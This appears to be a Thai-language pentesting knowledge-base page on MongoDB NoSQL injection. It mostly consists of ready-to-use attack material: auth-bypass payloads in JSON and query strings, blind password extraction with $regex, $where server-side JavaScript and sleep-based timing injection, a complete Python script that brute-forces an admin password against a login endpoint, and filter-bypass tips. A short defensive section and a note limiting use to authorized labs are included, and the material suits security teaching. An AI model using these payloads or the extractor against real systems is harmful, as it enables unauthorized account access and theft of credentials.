คลัง
web

NoSQL Injection

NoSQL Injection เกิดเมื่อ input ของผู้ใช้ถูกส่งเข้า query ของฐานข้อมูล NoSQL (เช่น MongoDB) โดยไม่กรองชนิดข้อมูล ทำให้แทรก operator ($ne, $gt, $regex, $where) เพื่อ bypass auth ดึงข้อมูลแบบ blind หรือรัน JavaScript ฝั่งเซิร์ฟเวอร์ บทนี้เน้น MongoDB ที่พบบ่อยสุด ครอบคลุมทั้ง operator injection ผ่าน JSON และ query-string, blind extraction ด้วย regex และ server-side JS injection

IntermediateAdvanced#nosql#mongodb#injection#operator#auth-bypass#regex#javascript#web

1. หลักการ

MongoDB query เป็น JSON/object และมี operator ขึ้นต้นด้วย $ เช่น $ne (not equal), $gt (greater than), $regex, $where ต่างจาก SQLi ตรงที่ไม่ได้แทรก 'string คำสั่ง' แต่แทรก 'โครงสร้าง object' — ถ้าแอปรับค่าจากผู้ใช้แล้วเอาไปเป็น value ใน query object ตรงๆ โดยไม่ cast เป็น string ผู้โจมตีส่ง object ที่มี operator แทนค่าธรรมดาได้

ตัวอย่าง query login: db.users.find({user: input_user, pass: input_pass}) ถ้า input_pass กลายเป็น {"$ne": null} เงื่อนไขจะเป็น 'password ไม่เท่ากับ null' ซึ่งจริงเสมอ → คืนผู้ใช้คนแรกโดยไม่ต้องรู้รหัสผ่าน

จาก value ธรรมดา สู่ operator object
pass: "secret123" ที่ตั้งใจ = string เทียบเท่ากัน pass: {"$ne": null} ผู้โจมตีส่ง object = operator "pass != null" = จริงเสมอ bypass ไม่ต้องรู้รหัส
operatorความหมายใช้ทำ
$nenot equalauth bypass (!= null/x)
$gt / $ltมากกว่า / น้อยกว่าbypass + blind extraction
$regexจับคู่ patternดึงข้อมูลทีละตัวอักษร
$in / $ninอยู่ใน/ไม่อยู่ใน setเดาค่าจากลิสต์
$whereรัน JS นิพจน์server-side JS injection
$existsfield มีอยู่ไหมenumerate schema

2. สังเกตและทดสอบ

  • แอปใช้ MongoDB/Node.js/Express (ดู stack, header, error) — pattern พบบ่อยสุด
  • ใส่ ' หรือ " แล้วพฤติกรรมเปลี่ยน หรือเจอ error ของ Mongo (MongoError, CastError)
  • ลองแปลง parameter ปกติเป็น operator object แล้วดูว่าผลต่างไหม
  • auth bypass เป็นจุดทดสอบยอดนิยม — ลอง {"$ne":null} ทั้ง username/password
  • ทดสอบทั้ง 2 ช่องทาง: JSON body และ query-string array (param[$ne]=x)
Probe แยกแยะ NoSQLi
# ค่าปกติ vs operator — เทียบผลลัพธ์
# baseline
{"username":"admin","password":"wrong"}      → 401
# operator injection
{"username":"admin","password":{"$ne":"x"}}  → 200 = มีช่องโหว่

# query-string (framework ที่ parse array เช่น qs/Express)
username=admin&password[$ne]=x               → เทียบผล
username[$ne]=&password[$ne]=
ต้องส่ง Content-Type ให้ตรง (application/json สำหรับ body) — ไม่งั้น operator ถูกอ่านเป็น string ธรรมดา

3. Payload

Auth bypass — JSON body
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": "admin", "password": {"$ne": "x"}}
{"username": {"$gt": ""}, "password": {"$gt": ""}}
{"username": {"$in": ["admin","administrator","root"]}, "password": {"$ne": null}}
ส่งด้วย Content-Type: application/json — {"$ne":null} แปลว่า field นี้ != null → จริงเสมอ
Auth bypass — query string (operator injection)
# บาง framework (Express + qs) parse bracket เป็น nested object/array
username[$ne]=null&password[$ne]=null
username=admin&password[$ne]=x
# บางเวอร์ชันต้องใช้ [$ne]= (ค่าว่าง) หรือ [$gt]=
ขึ้นกับ body-parser/qs ของแอป ลองทั้ง [$ne]=null และ [$ne]= (ว่าง)
Blind extraction ด้วย $regex (ดึงรหัสทีละตัว)
{"username": "admin", "password": {"$regex": "^a"}}
// login ผ่าน = ตัวอักษรแรกของ password คือ 'a'
// ไล่ ^b, ^c, ... แล้วต่อ ^aa, ^ab, ... จนได้ครบ
{"username": "admin", "password": {"$regex": "^admin_secret$"}}   // ยืนยันเต็มค่า
คล้าย boolean-blind ของ SQLi — response ต่าง (login ผ่าน/ไม่ผ่าน) คือคำตอบ regex ต้อง escape อักขระพิเศษ (. * + ?)
$where — server-side JavaScript injection
{"$where": "this.password.length > 8"}
{"$where": "this.username == 'admin' && this.password.match(/^a/)"}
// บางแอปยิง sleep เพื่อ blind แบบ time-based:
{"$where": "sleep(5000)"}
$where รัน JS บนเซิร์ฟเวอร์ = อันตรายสุด (ทำ time-based / logic ซับซ้อนได้) MongoDB รุ่นใหม่ปิด $where โดย default

4. สคริปต์ดึงข้อมูลอัตโนมัติ

Blind $regex extractor (Python)
import requests, string

URL = "https://target/login"
CHARSET = string.ascii_letters + string.digits + "_-!@#$"

def login_ok(regex):
    r = requests.post(URL, json={"username": "admin",
                                 "password": {"$regex": regex}})
    return "dashboard" in r.text          # differentiator ของหน้า login สำเร็จ

def extract():
    found = ""
    while True:
        for c in CHARSET:
            esc = c if c not in ".*+?^$()[]{}|\\" else "\\" + c
            if login_ok(f"^{found}{esc}"):
                found += c
                print(found)
                break
        else:
            break                          # ไม่มีตัวอักษรถัดไป = จบ
    return found

print(extract())
escape อักขระพิเศษของ regex เสมอ ไม่งั้น match ผิด — ยืนยันค่าสุดท้ายด้วย ^value$

5. ข้อผิดพลาดที่พบบ่อย & ป้องกัน

  • ส่ง operator แต่ Content-Type ไม่ใช่ JSON → ถูกอ่านเป็น string ธรรมดา (ไม่ทำงาน)
  • ลืมลอง query-string array — บาง framework parse bracket ต่างกัน
  • regex ไม่ escape อักขระพิเศษ → blind extraction เพี้ยน
  • คิดว่า $where ใช้ได้เสมอ — MongoDB ใหม่ปิด server-side JS โดย default
  • ป้องกัน: validate/cast input เป็น string เสมอก่อนเข้า query, ปฏิเสธ key ที่ขึ้นต้นด้วย $ หรือมี ., ใช้ schema validation (mongoose ที่ระบุ type), ปิด $where/server-side JS, ใช้ mongo-sanitize

6. Quick Reference

  • MongoDB operator: $ne $gt $lt $regex $in $where $exists
  • auth bypass: {"password": {"$ne": null}}
  • query string: password[$ne]=null (ถ้า framework parse array)
  • blind extraction: $regex ไล่ทีละตัวอักษร (^a, ^ab, ...)
  • $where รัน JS → server-side JS injection + time-based (sleep())
  • ต้องส่ง Content-Type: application/json ให้ operator ทำงาน
  • ป้องกัน: cast เป็น string, ปฏิเสธ key ขึ้นต้น $, mongo-sanitize

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติ backend เป็น MongoDB/NoSQL ไม่ใช่ SQL แท้ๆ (login ไม่มี error SQL แต่ backend รับ/ประมวลผล JSON) ทำตามนี้ทีละขั้น

  1. 1สังเกตว่า backend เป็น NoSQL: field เป็น JSON, error message พูดถึง Mongo/BSON, หรือ login ที่ query ด้วย object
  2. 2ทดสอบ login bypass ด้วย operator injection: ส่ง username[$ne]=null&password[$ne]=null (form-urlencoded) หรือ JSON {"username":{"$ne":null},"password":{"$ne":null}}
  3. 3ถ้า Content-Type เป็น JSON ต้องแก้ header ใน Burp เป็น application/json แล้วส่ง body เป็น JSON object จริง ไม่ใช่ string ธรรมดา
  4. 4ถ้า login ผ่านแบบ operator injection = ยืนยันช่องโหว่แล้ว ลองดึง field อื่นด้วย {"password":{"$regex":"^a"}} ไล่ทีละตัวอักษรเหมือน blind SQLi
  5. 5ทดสอบ $where (MongoDB JS injection): username[$where]=this.password.match(/^a/) ให้ evaluate JS ฝั่ง server (ใช้เฉพาะ lab/scope ที่ได้รับอนุญาต อาจถึง RCE)
  6. 6ถ้าไม่ผ่านด้วย operator มือ ลองใช้ NoSQLMap อัตโนมัติเดา field/operator แทน
  7. 7ถ้า WAF/backend กรอง $ ออก ลองใส่ผ่าน array param [$ne] แทน object หรือ encode เป็น unicode
  8. 8ถ้าดึงข้อมูลได้แล้ว (bypass login/leak field) ลองต่อว่ามี privilege escalation อื่น (IDOR/access control) ในระบบเดียวกันไหม
Master flow — bypass/ดึงข้อมูลผ่าน NoSQL Operator Injection
เช็คว่า backend น่าจะเป็น NoSQL (JSON body, error พูดถึง Mongo/BSON, ไม่มี syntax error แบบ SQL)
ลอง login bypass: ส่ง username[$ne]=null&password[$ne]=null (form) หรือ JSON {"$ne":null} ทั้งสอง field
login ผ่าน/bypass สำเร็จไหม?
✅ ผ่าน→ ยืนยันช่องโหว่แล้ว
❌ ไม่ผ่าน (400/invalid)→ ต้องตรวจ content-type ก่อน
ตรวจว่า Content-Type ตรงกับที่ server รับ (เปลี่ยนเป็น application/json ใน Burp แล้วส่ง body เป็น object จริง)
หลังแก้ Content-Type แล้ว operator injection ทำงานไหม?
✅ ทำงาน→ bypass ได้แล้ว
❌ ยังไม่ทำงาน→ ต้องลอง bypass filter
bypass ได้แล้ว → ลองดึงข้อมูลเพิ่มด้วย $regex ไล่ทีละตัวอักษร (เหมือน blind SQLi)
ทดสอบ $where injection (JS ฝั่ง server) ดูว่าไปถึง RCE ได้ไหม — เฉพาะ lab/scope ที่ได้รับอนุญาต
ถ้า $ ถูกกรอง ลองใส่ผ่าน array param [$ne] แทน object หรือใช้ NoSQLMap ยิงอัตโนมัติแทน
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
ดักจับ/แก้ Content-TypeBurp Suite--
ทดสอบ payload มือcurl -H 'Content-Type: application/json'already in Kali-
ยิงอัตโนมัติ NoSQLNoSQLMapgit clone NoSQLMap + pip install -r requirements.txt-
encode/แปลง payload--CyberChef
เรียนรู้ NoSQLi เพิ่ม--portswigger web security academy
crack hash ที่เจอhashcat / johnalready in Kalicrackstation.net
🚑 ถ้าตันสนิท ลองท่าถัดไป: blind-sqli ถ้าจริงๆ backend เป็น SQL ปกติไม่ใช่ Mongo, idor ถ้า bypass login แล้วเจอ object reference อื่นต่อ, graphql-attacks ถ้า API จริงๆ เป็น GraphQL ไม่ใช่ REST+Mongo ตรงๆ, ssrf ถ้า query ของ NoSQL ไปเรียก external service ต่อ

หัวข้อที่เชื่อมโยง

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้